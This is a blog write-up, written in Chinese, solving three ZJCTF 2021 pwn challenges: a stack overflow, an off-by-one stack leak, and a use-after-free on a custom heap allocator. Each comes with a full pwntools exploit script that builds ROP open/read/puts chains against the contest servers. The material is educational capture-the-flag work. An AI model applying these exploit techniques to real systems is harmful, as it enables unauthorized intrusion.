Niyah

ZJCTF-2021-Pwn

做题有点慢,破栈溢出调了个半天

# sai_easy

本题显然是栈溢出

img

在最后 strcat 字符串拼接的时候会直接栈溢出,我们可以直接覆盖返回地址

覆盖到前面 cat flag 的地方即可

image-20211030130940078

exp

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
# context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './sai_easy_pwn'
os.system('chmod +x %s'%binary)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
context.binary = binary
DEBUG = 0
if DEBUG:
    libc = elf.libc
    context.log_level = 'debug' 
    p = process(binary)
    # p = process(['qemu-arm', binary])
    # p = process(['qemu-arm', binary,'-g','1234'])
    # p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
    # context.log_level = 'debug'
    host = '89563411-fd49-4df0-a394-13757851c159.zj-ctf.dasctf.com'
    port = '50100'
    p = remote(host,port)

l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda x = 12     : int( p.recv(x) , 16)


def cmd(num):
    sla('>',num)

# one_gad = one_gadget(libc.path)

def attack():
    bss_addr = 0x6010E0
    cat_flag = 0x40098E
    sa('username' , 'a'*0x30)
    sa('password' , 'b'*0x18 + p64(cat_flag))

    ''

attack()
# p.success(getShell())
p.interactive()

'''
@File    :   sai_easy_pwn.py
@Time    :   2021/10/30 08:55:01
@Author  :   Niyah 
'''

# easy_stack

也是栈溢出,不过只能溢出一个字节 read 函数存在 off by one

image-20211030131148969

调了半天,中途电脑还炸了一次

栈分布如下,我们直接把数组中存放的地址值覆盖一个字节(改大),让其能泄露出栈上的各种地址

image-20211030094313078

之后控制 myread 函数在栈上的参数,让其能写到 myread 的栈帧内,因为本题死循环,所以只能写到 myread 的栈帧内

然后直接写 myread 的返回地址,这里发现 system (/bin/sh) 执行不了,索性使用 orw

exp

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
# context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './zj_easy_stack'
os.system('chmod +x %s'%binary)
elf = ELF(binary)
libc = elf.libc
libc = ELF('./libc-2.31.so')
context.binary = binary
DEBUG = 0
if DEBUG:
    libc = elf.libc
    context.log_level = 'debug' 
    p = process(binary)
    # p = process(['qemu-arm', binary])
    # p = process(['qemu-arm', binary,'-g','1234'])
    # p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
    host = '89563411-fd49-4df0-a394-13757851c159.zj-ctf.dasctf.com'
    port = '54501'
    p = remote(host,port)

l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l64_elf = lambda            : u64(p.recvuntil('\x55')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda x = 12     : int( p.recv(x) , 16)

def getShell():
    sl('exec 1>&0')
    sl('echo shell')
    ru('shell')
    p.success('Get Shell')
    sl('cat flag')
    ru('flag')
    flag = rl()
    return ('flag' + flag)

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def exhaust( pwn ):
    global p
    i = 0
    while 1 :
        try:
            i+=1
            pwn()
        except:
            lg('times ======== > ',i)
            p.close()
            if (DEBUG):
                p = process(binary)
            else :
                p = remote(host,port)

def one_gadget(filename):
    log.success('Leak One_Gadgets...')
    one_ggs = str(subprocess.check_output(['one_gadget','--raw', '-f',filename])).split(' ')
    return list(map(int,one_ggs))

def cmd(num):
    sla('>',num)

# one_gad = one_gadget(libc.path)

def attack():
    
    payload = 'a'*0x100 + '\xf0'
    sla('size' , 0x100)
    # dbg()
    # dbg('*$rebase(0x0000000000001488)')
    sa('sentence' ,  payload)
    read_bass = l64()
    stack = l64()
    p.recv(0x4)
    canary =u64(p.recv(7).rjust(8 , '\x00'))
    leak = l64()
    elf_addr = l64_elf() - 0x137B

    lg('read_bass' , read_bass)
    lg('stack',stack)
    lg('canary' , canary)
    lg('leak' , leak)
    lg('elf_addr' , elf_addr)

    __libc_start_main = leak - 243
    libc.address =__libc_start_main - libc.sym['__libc_start_main']
    pop_rdi_ret = libc.search(asm('pop rdi;ret')).next()
    ret = libc.search(asm('ret')).next()
    bin_sh = libc.search('/bin/sh').next()
    system_addr = libc.sym['system']

    lg('system_addr' , system_addr)
    # print(canary)
    
    arry_stack = stack - 0x210
    lg('arry_stack' , arry_stack)
    sla('size' , 0x100)

    offset = 0x100 - (read_bass - arry_stack) - 0x10
    lg('offset',offset)

    payload = 'a'*(offset + 0x10 ) + flat( arry_stack - 0x100 , 0x100 , 0 , 1)
    # dbg('*$rebase(0x0000000000001488)')
    sa('sentence' ,  payload.ljust( 0x101, 'c'))

    sla('size' , 0x100)
    
    read_addr = libc.sym['read']
    open_addr = libc.sym['open']
    puts_addr = libc.sym['puts']
    ret = libc.search(asm(' ret')).next()
    pop_rax_ret = libc.search(asm('pop rax; ret')).next()
    pop_rdi_ret = libc.search(asm('pop rdi; ret')).next()
    pop_rsi_ret = libc.search(asm('pop rsi; ret')).next()
    pop_rdx_ret = libc.search(asm('pop rdx; ret')).next()
    pop_rdx_pop_rbx_ret = libc.search(asm('pop rdx ; pop rbx ; ret')).next()
    
    flag_addr = arry_stack + 0xf0 - 8
    chain = flat(
        pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
        pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
        pop_rdi_ret , flag_addr , puts_addr
    ).ljust(0xf0,'\x00') + 'flag\x00'
    # len chain 0x80
    
    # dbg('free')
    # dbg('*$rebase(0x00000000000131D)')
    # payload = 'a'*0xb8 + flat(elf_addr + 0x130a , 0 , 0x100 ) + p8( (arry_stack - 0x100 - 0x10)&0xff) + p8((((arry_stack - 8)&0xff00)>>8 ) ) + p64(pop_rdi_ret) + p64(system_addr)
    payload = 'a'*0xb8 + flat(elf_addr + 0x130a , 0 , 0x200 ) + p64(arry_stack - 0x100) + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(0xe8) + p64(pop_rdi_ret) + chain
    sa('sentence' , payload.ljust( 0x201, 'b'))

    # dbg()

    
    ''

attack()
# p.success(getShell())
p.interactive()

'''
@File    :   zj_easy_stack.py
@Time    :   2021/10/30 08:35:26
@Author  :   Niyah 
'''

# garlic_pwn

这道题不知道是个什么 lib 从来没见过,这边说一下离线做题时的思路

我逆向能力非常差,所以没有审给的 lib,采用类似盲做的方式

本题是个 uaf 漏洞,增删改查都有,如果是正常的 libc 大概已经被打烂了。

先理清程序逻辑,试一下程序的各种功能,我们先 add 几个堆块试试,可以通过指针数组查看 add 到那些内存,查看一下内存,可以发现其堆块是线性排列的,且类比 Glibc 可以发现堆块 free 之后也有着类似 fd 的结构

image-20211030211314627

该 lib 里边有 free 函数,那么应该也存在着内存回收机制,我们通过 vmmap 查看一下堆的基地址,可以去查看一下堆地址最初始的地方,在这里发现了类似管理堆块的结构,其他的先不看,我们可以发现红框处地址非常可疑,并且上面也有着和 libc 相近的地址,所以不难猜到 0x80 和 0x90 处就是将要申请的堆块

那么有没有一种可能,我们可以通过 uaf 申请到这块地方,之后通过部分覆盖把 libc 给带出来,而控制了这块内存,不就相当于可以任意申请了吗

image-20211030211420388

经过几次尝试,我发现 0x20 大小的堆块该线性表里边太多了,我们直接申请最大的 0x500,这里边的线性表只有两个地址,那么我猜测通过申请完这两个内存之后就会申请之前 free 掉的内存

实际上测试时发现再申请一个堆块,这个堆块的地址与之前两个还是不一样,而再申请的时候发现已经申请到之前申请过的堆块,如下图 1,3 处是同一块内存,那么下次申请估计就是 1 处内存 fd 指向的地址了

所以我们先做出类似攻击 Tcache 的操作,在连续释放两个堆块后修改 fd 指针,至于要改到的地址,因为 uaf ,可以很轻易的泄露出来,至于要改到什么地方,直接改到堆基地址 + 0x60 的地方,填入垃圾数据后就可以泄露出 libc 地址,之后改掉 entry,得到任意申请

image-20211030212222757

可以看到已经申请到堆管理块

image-20211030213343007

接下来就可以申请到 environ 泄露出栈地址 ,之后一顿操作了,本题设置了沙箱,orw 操作,因为在申请时可能有对齐等等奇怪的原因,申请到栈上可能有稍微的随机,这边爆破一下

image-20211030213845293

成功的打印出了本地 flag

image-20211030213929977

这题这样做肯定不是最优解,期待下其他师傅的 wp 了

exp

# -*- encoding: utf-8 -*-
import sys 
import os 
from pwn import * 
# context.update( os = 'linux', arch = 'amd64',timeout = 1)
binary = './garlic_pwn'
os.system('chmod +x %s'%binary)
elf = ELF(binary)
libc = elf.libc
# libc = ELF('')
context.binary = binary
DEBUG = 1
if DEBUG:
    libc = elf.libc
    # context.log_level = 'debug' 
    p = process(binary)
    # p = process(['qemu-arm', binary])
    # p = process(['qemu-arm', binary,'-g','1234'])
    # p = process(['qemu-aarch64','-L','','-g','1234',binary])
else:
    host = ''
    port = ''
    p = remote(host,port)

l64 = lambda            : u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
l32 = lambda            : u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
sla = lambda a,b        : p.sendlineafter(str(a),str(b))
sa  = lambda a,b        : p.sendafter(str(a),str(b))
lg  = lambda name,data  : p.success(name + ': 0x%x' % data)
se  = lambda payload    : p.send(payload)
rl  = lambda            : p.recv()
sl  = lambda payload    : p.sendline(payload)
ru  = lambda a          : p.recvuntil(str(a))
rint= lambda x = 12     : int( p.recv(x) , 16)

def getShell():
    sl('exec 1>&0')
    sl('echo shell')
    ru('shell')
    p.success('Get Shell')
    sl('cat flag')
    ru('flag')
    flag = rl()
    return ('flag' + flag)

def dbg( b = null):
    if (b == null):
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p,'b %s'%b)

def exhaust( pwn ):
    global p
    i = 0
    while 1 :
        try:
            i+=1
            pwn()
        except:
            lg('times ======== > ',i)
            p.close()
            if (DEBUG):
                p = process(binary)
            else :
                p = remote(host,port)

def one_gadget(filename):
    log.success('Leak One_Gadgets...')
    one_ggs = str(subprocess.check_output(['one_gadget','--raw', '-f',filename])).split(' ')
    return list(map(int,one_ggs))

def cmd(num):
    sla('>',num)

def add(size , content = 'a'):
    cmd(1)
    sla(' size:' , size)
    sa(' Content:' , content)

def delete( idx ):
    cmd(2)
    sla('idx:' , idx)

def show( idx ):
    cmd(4)
    sla('idx:' , idx)

def edit( idx , content):
    cmd(3)
    sla('idx:' , idx)
    sa(' Content:' , content)

# one_gad = one_gadget(libc.path)
# ptr_lits = $rebase(0x4040)

def attack():
    
    ptr_lits = 0x4040

    add(0x500)
    add(0x500)
    show(0)
    rl()
    leak = u64(p.recv(6).ljust( 8, '\x00')) - 0x61 - 0x1100
    lg('leak',leak)

    delete(0)
    delete(1)
    edit(1 , p64(leak + 0x60 - 0x500 - 0x300 - 0x100))
    add(0x500) #2
    add(0x500) #3

    add(0x500 , 'a'*0x8) #4
    show(4)

    libc.address = l64() + 0x3f8c0
    lg('libc.address' , libc.address)
    system_addr = libc.sym['system']
    __free_hook = libc.sym['__free_hook']
    environ = libc.sym['__environ']
    binsh_addr = libc.search('/bin/sh').next()


    fake = flat(
        0x10 , libc.address - 0x3f8c0,
        0 , 0x0000002f00030d00,
        environ 
    )
    
    edit(4 , fake)
    add(0x500)
    show(5)
    stack_addr = l64() - 0x119 + 0x48 - 0x68

    read_addr = libc.sym['read']
    open_addr = libc.sym['open']
    puts_addr = libc.sym['puts']
    ret = libc.search(asm(' ret')).next()
    pop_rax_ret = libc.search(asm('pop rax; ret')).next()
    pop_rdi_ret = libc.search(asm('pop rdi; ret')).next()
    pop_rsi_ret = libc.search(asm('pop rsi; ret')).next()
    pop_rdx_ret = libc.search(asm('pop rdx; ret')).next()
    pop_rdx_pop_rbx_ret = libc.search(asm('pop rdx ; pop rbx ; ret')).next()
    
    flag_addr = stack_addr + 0x100
    chain = flat(
        pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr,
        pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr,
        pop_rdi_ret , flag_addr , puts_addr
    ).ljust(0x100,'\x00') + 'flag\x00'
    # len chain 0x80

    fake = flat(
        0x10 , libc.address - 0x3f8c0,
        0 , 0x0000002f00030d00,
        stack_addr
    )
    edit(4 , fake)

    # dbg('*$rebase(0x00000000000160C)')
    add(0x500 , chain )
    

    p.interactive()
    ''

# attack()
exhaust(attack)
# p.success(getShell())

'''
@File    :   garlic_pwn.py
@Time    :   2021/10/30 13:27:00
@Author  :   Niyah 
'''

ps:不知道为啥,感觉现在做题越来越累了,最后也没能拿到一个好的名次,要是调试 pwn2 的时间少一些可能当时就做出 pwn3 了吧

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可。